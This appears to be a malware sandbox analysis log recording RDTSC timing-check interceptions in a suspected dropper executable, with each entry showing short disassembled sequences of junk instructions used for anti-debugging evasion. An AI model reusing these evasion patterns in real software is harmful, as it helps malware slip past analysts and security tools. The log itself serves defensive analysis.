Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A02D6 second address: 8A02F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89F810 second address: 89F850 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516324h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jo 00007F51C4516316h 0x00000012 jmp 00007F51C4516322h 0x00000017 pop ebx 0x00000018 jo 00007F51C451631Ch 0x0000001e jne 00007F51C4516316h 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89F850 second address: 89F860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F51C5190FD6h 0x0000000a ja 00007F51C5190FD6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89F860 second address: 89F864 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A0723 second address: 8A0749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51C5190FE5h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F51C5190FDCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A0749 second address: 8A074D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A074D second address: 8A0758 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnc 00007F51C5190FD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A60DC second address: 8A60E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A4E61 second address: 8A4E9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F51C5190FE2h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jg 00007F51C5190FD6h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F51C5190FE4h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A4E9B second address: 8A4EBC instructions: 0x00000000 rdtsc 0x00000002 js 00007F51C4516316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F51C4516327h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A5445 second address: 8A5449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A56B9 second address: 8A56BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A583F second address: 8A5845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A5845 second address: 8A5849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A5B3E second address: 8A5B46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A5B46 second address: 8A5B4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A48B2 second address: 8A48B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A48B6 second address: 8A48C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jc 00007F51C4516316h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8AA429 second address: 8AA42D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8AA42D second address: 8AA433 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8AA433 second address: 8AA439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 821276 second address: 82128E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007F51C4516316h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F51C451631Ah 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 82128E second address: 821292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 821292 second address: 821298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8AD28A second address: 8AD290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8AD290 second address: 8AD294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8AD294 second address: 8AD298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8AD298 second address: 8AD2B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51C4516322h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8AD2B4 second address: 8AD2CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51C5190FE5h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8AD2CD second address: 8AD2D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8ACCA1 second address: 8ACCCF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F51C5190FE8h 0x0000000c jmp 00007F51C5190FE0h 0x00000011 pushad 0x00000012 popad 0x00000013 jnp 00007F51C5190FDCh 0x00000019 js 00007F51C5190FD6h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8ACCCF second address: 8ACCD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8ACF72 second address: 8ACFA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F51C5190FD6h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F51C5190FDBh 0x00000012 jmp 00007F51C5190FE9h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8ACFA3 second address: 8ACFA9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8AF65F second address: 8AF672 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F51C5190FD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b js 00007F51C5190FD6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8B0DA0 second address: 8B0DC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F51C4516322h 0x0000000d jnl 00007F51C4516316h 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8B6271 second address: 8B6280 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8B6280 second address: 8B62AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F51C4516323h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jl 00007F51C451631Ch 0x00000015 jbe 00007F51C4516316h 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pushad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8B62AF second address: 8B62DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F51C5190FD6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d jg 00007F51C5190FEAh 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007F51C5190FD6h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 870213 second address: 870285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F51C4516320h 0x00000008 jnc 00007F51C4516316h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F51C4516318h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov ebx, dword ptr [ebp+12484269h] 0x00000034 mov ch, 47h 0x00000036 add eax, ebx 0x00000038 xor ecx, dword ptr [ebp+122D2CC1h] 0x0000003e nop 0x0000003f pushad 0x00000040 pushad 0x00000041 jng 00007F51C4516316h 0x00000047 pushad 0x00000048 popad 0x00000049 popad 0x0000004a jmp 00007F51C4516321h 0x0000004f popad 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 push ecx 0x00000056 pop ecx 0x00000057 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 870285 second address: 87029F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 87029F second address: 8702D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516323h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dl, F0h 0x0000000c add dword ptr [ebp+122D1E2Eh], ebx 0x00000012 push 00000004h 0x00000014 mov ecx, dword ptr [ebp+122D2ED9h] 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e jp 00007F51C4516316h 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BB4E5 second address: 8BB4EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BAA05 second address: 8BAA0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BAA0C second address: 8BAA1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDCh 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BACAF second address: 8BACB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BAE13 second address: 8BAE1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BAE1A second address: 8BAE2C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jo 00007F51C4516316h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BAE2C second address: 8BAE30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BAE30 second address: 8BAE34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BAE34 second address: 8BAE53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51C5190FE9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BAFA4 second address: 8BAFA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BCA5D second address: 8BCA63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BCA63 second address: 8BCA67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 82D170 second address: 82D17E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F51C5190FD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BF605 second address: 8BF609 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BEDBB second address: 8BEDBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BEDBF second address: 8BEDC5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 821263 second address: 821276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F51C5190FDCh 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8BF36A second address: 8BF36F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8C7098 second address: 8C70A2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F51C5190FD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8C5234 second address: 8C5253 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516323h 0x00000007 ja 00007F51C451631Eh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8C5F05 second address: 8C5F0C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8C61C1 second address: 8C61D8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F51C451631Dh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8C64A7 second address: 8C64AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8C64AB second address: 8C64AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8C64AF second address: 8C64F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51C5190FE2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jo 00007F51C5190FD6h 0x00000014 jmp 00007F51C5190FDDh 0x00000019 jmp 00007F51C5190FE6h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8C64F4 second address: 8C651E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F51C451631Eh 0x00000008 jmp 00007F51C4516324h 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8C6AEB second address: 8C6AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8C6DBB second address: 8C6DC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8CB5B7 second address: 8CB5DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jc 00007F51C5190FD6h 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F51C5190FE3h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8CB5DE second address: 8CB5FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F51C451631Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F51C4516316h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8CE60C second address: 8CE612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8CE612 second address: 8CE62B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnc 00007F51C4516316h 0x0000000c jmp 00007F51C451631Dh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8CE62B second address: 8CE62F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8CE925 second address: 8CE931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F51C4516316h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8CE931 second address: 8CE93B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8CEB9F second address: 8CEBC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F51C4516328h 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8CED4C second address: 8CED52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8CED52 second address: 8CEDA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F51C451631Ch 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jp 00007F51C4516316h 0x00000015 jmp 00007F51C4516327h 0x0000001a jmp 00007F51C4516325h 0x0000001f jne 00007F51C4516316h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8CEDA0 second address: 8CEDA7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D68A7 second address: 8D68B7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F51C4516318h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D4CAA second address: 8D4CB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D4DF8 second address: 8D4E1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F51C4516316h 0x0000000a popad 0x0000000b push esi 0x0000000c jmp 00007F51C451631Ch 0x00000011 jmp 00007F51C451631Dh 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D4E1E second address: 8D4E2B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jbe 00007F51C5190FD6h 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
